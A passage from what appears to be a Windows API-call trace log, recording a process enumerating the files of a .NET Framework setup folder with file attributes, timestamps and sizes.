cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0100.607] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0100.607] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.607] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e500c0 [0100.607] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.607] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0100.607] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0100.607] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0100.607] FindClose (in: hFindFile=0x3e500c0 | out: hFindFile=0x3e500c0) returned 1 [0100.607] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.607] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0100.608] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.608] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.611] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.611] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0100.611] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0100.611] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0100.611] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0100.612] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0100.612] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0100.612] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0100.612] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0100.612] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0100.613] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0100.613] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0100.613] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0100.613] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0100.613] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0100.614] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0100.614] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0100.614] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.615] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.615] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0100.615] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0100.615] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0100.615] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0100.616] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0100.616] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0100.616] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0100.617] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0100.617] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0100.617] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0100.618] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0100.618] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0100.618] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0100.618] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0100.618] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, 